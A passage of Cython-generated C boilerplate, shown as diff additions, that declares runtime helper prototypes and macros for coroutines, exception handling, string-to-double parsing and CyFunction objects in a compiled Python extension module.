= __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_MultiplyObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceMultiply(op1, op2) : PyNumber_Multiply(op1, op2)) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* Generator.proto */ +#define __Pyx_Generator_USED +#define __Pyx_Generator_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_GeneratorType) +#define __Pyx_Generator_New(body, code, closure, name, qualname, module_name)\ + 